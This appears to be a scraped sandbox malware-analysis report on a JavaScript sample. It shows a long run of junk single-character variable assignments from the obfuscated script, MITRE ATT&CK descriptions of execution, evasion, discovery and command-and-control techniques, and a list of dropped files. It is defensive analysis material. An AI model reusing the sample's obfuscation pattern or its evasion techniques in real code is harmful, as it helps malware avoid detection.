974	iokdb = "u";
975	iokdb = "B";
976	iokdb = "C";
977	iokdb = "Y";
978	iokdb = "z";
979	iokdb = "A";
980	iokdb = "a";
981	iokdb = "I";
982	iokdb = "n";
983	iokdb = "P";
984	fchmp = "Q";
985	fchmp = "v";
986	fchmp = "Z";
987	fchmp = "I";
988	fchmp = "d";
989	fchmp = "q";
990	febkopmz = "E";
991	febkopmz = "V";
992	febkopmz = "H";
993	febkopmz = "I";
994	febkopmz = "w";
995	febkopmz = "w";
996	febkopmz = "y";
997	febkopmz = "M";
998	febkopmz = "G";
999	febkopmz = "T";
1000	febkopmz = "c";
1001	febkopmz = "Q";
1002	febkopmz = "p";
1003	febkopmz = "y";
1004	febkopmz = "L";
1005	febkopmz = "l";
1006	febkopmz = "d";
1007	febkopmz = "V";
1008	febkopmz = "B";
1009	febkopmz = "z";
1010	febkopmz = "o";
1011	febkopmz = "_";
1012	adhnc = "N";
1013	adhnc = "J";
1014	adhnc = "F";
1015	adhnc = "x";
1016	adhnc = "J";
1017	adhnc = "k";
1018	adhnc = "S";
1019	adhnc = "P";
1020	adhnc = "v";
1021	adhnc = "P";
1022	adhnc = "o";
1023	adhnc = "F";
1024	adhnc = "e";
1025	adhnc = "x";
1026	adhnc = "r";
1027	adhnc = "I";
1028	adhnc = "b";
1029	adhnc = "l";
1030	adhnc = "z";
1031	adhnc = "g";
1032	adhnc = "b";
1033	adhnc = "t";
1034	adhnc = "C";
1035	adhnc = "v";
1036	adhnc = "V";
1037	adhnc = "c";
1038	adhnc = "x";
1039	adhnc = "s";
1040	adhnc = "l";
1041	adhnc = "W";
1042	adhnc = "z";
1043	adhnc = "p";
1044	adhnc = "A";
1045	adhnc = "v";
1046	adhnc = "F";
1047	adhnc = "l";
1048	adhnc = "a";
1049	adhnc = "r";
1050	adhnc = "n";
1051	adhnc = "X";
1052	adhnc = "j";
1053	adhnc = "N";
1054	adhnc = "v";
1055	rszfriydf = "o";
1056	rszfriydf = "s";
1057	rszfriydf = "k";
1058	rszfriydf = "v";
1059	rszfriydf = "x";
1060	rszfriydf = "N";
1061	rszfriydf = "2";
1062	uxffazya = "v";
1063	uxffazya = "U";
1064	uxffazya = "V";
1065	uxffazya = "S";
1066	uxffazya = "Q";
1067	uxffazya = "V";
1068	uxffazya = "c";
1069	uxffazya = "n";
1070	uxffazya = "L";
1071	uxffazya = "X";
1072	uxffazya = "D";
1073	uxffazya = "b";
1074	krawtzh = "k";
1075	krawtzh = "i";
1076	krawtzh = "l";
1077	krawtzh = "l";
1078	krawtzh = "G";
1079	krawtzh = "f";
1080	krawtzh = "p";
1081	krawtzh = "L";
1082	krawtzh = "w";
1083	krawtzh = "d";
1084	krawtzh = "G";
1085	krawtzh = "H";
1086	krawtzh = "G";
1087	krawtzh = "s";
1088	krawtzh = "W";
1089	krawtzh = "C";
1090	krawtzh = "J";
1091	krawtzh = "f";
1092	krawtzh = "J";
1093	krawtzh = "g";
1094	krawtzh = "r";
1095	rstpzm = "y";
1096	rstpzm = "r";
1097	rstpzm = "z";
1098	rstpzm = "x";
1099	rstpzm = "E";
1100	sjhmdrhkx = "q";
1101	sjhmdrhkx = "d";
1102	sjhmdrhkx = "f";
1103	sjhmdrhkx = "v";
1104	sjhmdrhkx = "Z";
1105	sjhmdrhkx = "i";
1106	sjhmdrhkx = "C";
1107	sjhmdrhkx = "v";
1108	sjhmdrhkx = "v";
1109	sjhmdrhkx = "E";
1110	sjhmdrhkx = "w";
1111	sjhmdrhkx = "i";
1112	fopag = "Z";
1113	fopag = "F";
1114	fopag = "M";
1115	fopag = "M";
1116	fopag = "4";
1117	wnlxx = "y";
1118	wnlxx = "a";
1119	wnlxx = "O";
1120	wnlxx = "X";
1121	wnlxx = "q";
1122	wnlxx = "y";
1123	wnlxx = "l";
1124	wnlxx = "F";
1125	wnlxx = "o";
1126	wnlxx = "o";
1127	wnlxx = "U";
1128	wnlxx = "w";
1129	wnlxx = "a";
1130	wnlxx = "V";
1131	wnlxx = "v";
1132	wnlxx = "q";
1133	wnlxx = "a";
1134	wnlxx = "e";
1135	wnlxx = "a";
1136	wnlxx = "M";
1137	wnlxx = "l";
1138	wnlxx = "K";
1139	wnlxx = "p";
1140	wnlxx = "q";
1141	wnlxx = "A";
1142	wnlxx = "O";
1143	wnlxx = "I";
1144	wnlxx = "K";
1145	wnlxx = "y";
1146	wnlxx = "M";
1147	wnlxx = "z";
1148	wnlxx = "w";
1149	wnlxx = "h";
1150	wnlxx = "S";
1151	wnlxx = "T";
1152	wnlxx = "l";
1153	wnlxx = "I";
1154	wnlxx = "X";
1155	wnlxx = "p";
1156	wnlxx = "U";
1157	wnlxx = "y";
1158	wnlxx = "Z";
1159	wnlxx = "K";
1160	wnlxx = "K";
1161	nwbhav = "k";
1162	nwbhav = "C";
1163	nwbhav = "p";
1164	nwbhav = "y";
1165	nwbhav = "F";
1166	nwbhav = "b";
1167	nwbhav = "N";
1168	nwbhav = "A";
1169	nwbhav = "P";
1170	nwbhav = "E";
1171	nwbhav = "v";
1172	nwbhav = "U";
1173	nwbhav = "y";
1174	nwbhav = "B";
1175	nwbhav = "C";
1176	nwbhav = "O";
1177	nwbhav = "Z";
1178	nwbhav = "F";
1179	nwbhav = "q";
1180	nwbhav = "X";
1181	nwbhav = "P";
1182	nwbhav = "C";
1183	nwbhav = "p";
1184	nwbhav = "L";
1185	nwbhav = "z";
1186	nwbhav = "y";
1187	nwbhav = "D";
1188	nwbhav = "U";
1189	nwbhav = "e";
1190	nwbhav = "e";
1191	nwbhav = "S";
1192	nwbhav = "I";
1193	nwbhav = "T";
1194	nwbhav = "X";
1195	nwbhav = "t";
1196	nwbhav = "W";
1197	nwbhav = "z";
1198	nwbhav = "r";
1199	nwbhav = "t";
1200	nwbhav = "z";
1201	nwbhav = "j";
1202	eoziov = "s";
1203	eoziov = "q";
1204	eoziov = "O";
1205	eoziov = "m";
1206	eoziov = "X";
1207	eoziov = "Q";
1208	eoziov = "N";
1209	eoziov = "m";
1210	eoziov = "P";
1211	eoziov = "m";
1212	eoziov = "e";
1213	eoziov = "j";
1214	eoziov = "F";
1215	eoziov = "O";
1216	eoziov = "Q";
1217	eoziov = "q";
1218	eoziov = "o";
1219	eoziov = "X";
1220	eoziov = "f";
1221	eoziov = "O";
1222	eoziov = "b";
1223	eoziov = "r";
1224	eoziov = "R";
1225	eoziov = "T";
1226	eoziov = "e";
1227	eoziov = "Q";
1228	eoziov = "f";
1229	eoziov = "l";
1230	eoziov = "n";
1231	eoziov = "g";
1232	eoziov = "u";
1233	eoziov = "J";
1234	eoziov = "i";
1235	eoziov = "f";
1236	eoziov = "D";
1237	eoziov = "m";
1238	eoziov = "U";
1239	eoziov = "k";
1240	eoziov = "v";
1241	eoziov = "l";
1242	eoziov = "G";
1243	eoziov = "t";
1244	eoziov = "o";
1245	eoziov = "V";
1246	eoziov = "f";
1247	vwffxfpr = "n";
1248	vwffxfpr = "M";
1249	vwffxfpr = "Y";
1250	vwffxfpr = "V";
1251	vwffxfpr = "Y";
1252	vwffxfpr = "P";
1253	vwffxfpr = "W";
1254	vwffxfpr = "v";
1255	vwffxfpr = "c";
1256	vwffxfpr = "y";
1257	vwffxfpr = "f";
1258	vwffxfpr = "A";
1259	vwffxfpr = "q";
1260	vwffxfpr = "p";
1261	vwffxfpr = "N";
1262	vwffxfpr = "O";
1263	vwffxfpr = "k";
1264	vwffxfpr = "b";
1265	vwffxfpr = "c";
1266	vwffxfpr = "d";
1267	vwffxfpr = "R";
1268	vwffxfpr = "S";
1269	vwffxfpr = "X";
1270	vwffxfpr = "z";
1271	vwffxfpr = "E";
1272	vwffxfpr = "t";
1273	vwffxfpr = "W";
1274	vwffxfpr = "b";
1275	vwffxfpr = "u";
1276	vwffxfpr = "J";
1277	vwffxfpr = "m";
1278	vwffxfpr = "Q";
1279	vwffxfpr = "a";
1280	vwffxfpr = "i";
1281	vwffxfpr = "S";
1282	vwffxfpr = "a";
1283	vwffxfpr = "W";
1284	vwffxfpr = "c";
1285	vwffxfpr = "z";
1286	vwffxfpr = "u";
1287	vwffxfpr = "T";
1288	vwffxfpr = "g";
1289	gweddrmt = "T";
1290	gweddrmt = "A";
1291	gweddrmt = "W";
1292	gweddrmt = "r";
1293	gweddrmt = "f";
1294	gweddrmt = "Q";
1295	gweddrmt = "G";
1296	gweddrmt = "h";
1297	gweddrmt = "e";
1298	gweddrmt = "E";
1299	gweddrmt = "b";
1300	gweddrmt = "Q";
1301	gweddrmt = "W";
1302	arfko = "r";
1303	arfko = "z";
1304	arfko = "G";
1305	arfko = "h";
1306	arfko = "i";
1307	arfko = "B";
1308	arfko = "i";
1309	arfko = "O";
1310	eyvnndd = "a";
1311	eyvnndd = "Q";
1312	eyvnndd = "Z";
1313	eyvnndd = "i";
1314	eyvnndd = "Y";
1315	eyvnndd = "V";
1316	eyvnndd = "s";
1317	eyvnndd = "z";
1318	eyvnndd = "z";
1319	eyvnndd = "A";
1320	eyvnndd = "r";
1321	eyvnndd = "t";
1322	eyvnndd = "P";
1323	eyvnndd = "z";
1324	eyvnndd = "E";
1325	eyvnndd = "P";
1326	eyvnndd = "K";
1327	eyvnndd = "O";
1328	eyvnndd = "F";
1329	eyvnndd = "F";
1330	eyvnndd = "d";
1331	eyvnndd = "e";
1332	eyvnndd = "g";
1333	eyvnndd = "G";
1334	eyvnndd = "V";
1335	eyvnndd = "Z";
1336	eyvnndd = "t";
1337	eyvnndd = "w";
1338	eyvnndd = "y";
1339	eyvnndd = "L";
1340	eyvnndd = "f";
1341	eyvnndd = "u";
1342	eyvnndd = "Y";
1343	eyvnndd = "T";
1344	lkckkj = "r";
1345	lkckkj = "L";
1346	lkckkj = "L";
1347	lkckkj = "M";
1348	lkckkj = "m";
1349	lkckkj = "i";
1350	lkckkj = "e";
1351	lkckkj = "m";
1352	dzsmebnc = "u";
1353	dzsmebnc = "Q";
1354	dzsmebnc = "Z";
1355	dzsmebnc = "k";
1356	dzsmebnc = "c";
1357	dzsmebnc = "t";
1358	dzsmebnc = "j";
1359	dzsmebnc = "T";
1360	dzsmebnc = "c";
1361	dzsmebnc = "z";
1362	dzsmebnc = "d";
1363	dzsmebnc = "i";
1364	dzsmebnc = "j";
1365	dzsmebnc = "o";
1366	dzsmebnc = "V";
1367	dzsmebnc = "k";
1368	dzsmebnc = "l";
1369	dzsmebnc = "d";
1370	dzsmebnc = "s";
1371	dzsmebnc = "K";
1372	dzsmebnc = "W";
1373	dzsmebnc = "J";
1374	dzsmebnc = "G";
1375	dzsmebnc = "n";
1376	dzsmebnc = "U";
1377	dzsmebnc = "j";
1378	dzsmebnc = "N";
1379	dzsmebnc = "E";
1380	dzsmebnc = "C";
1381	dzsmebnc = "a";
1382	dzsmebnc = "o";
1383	dzsmebnc = "N";
1384	dzsmebnc = "j";
1385	dzsmebnc = "r";
1386	dzsmebnc = "r";
1387	dzsmebnc = "M";
1388	dzsmebnc = "F";
1389	dzsmebnc = "u";
1390	sfgcv = "q";
1391	sfgcv = "T";
1392	sfgcv = "d";
1393	sfgcv = "s";
1394	sfgcv = "a";
1395	sfgcv = "h";
1396	sfgcv = "u";
1397	sfgcv = "h";
1398	sfgcv = "u";
1399	sfgcv = "k";
1400	sfgcv = "H";
1401	sfgcv = "6";
1402	ssftv ( );	ssftv() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 12315203731832427262.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\68c2c638-e39b-435f-b9af-4505491fc730.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6096

Windows Analysis Report
12315203731832427262.js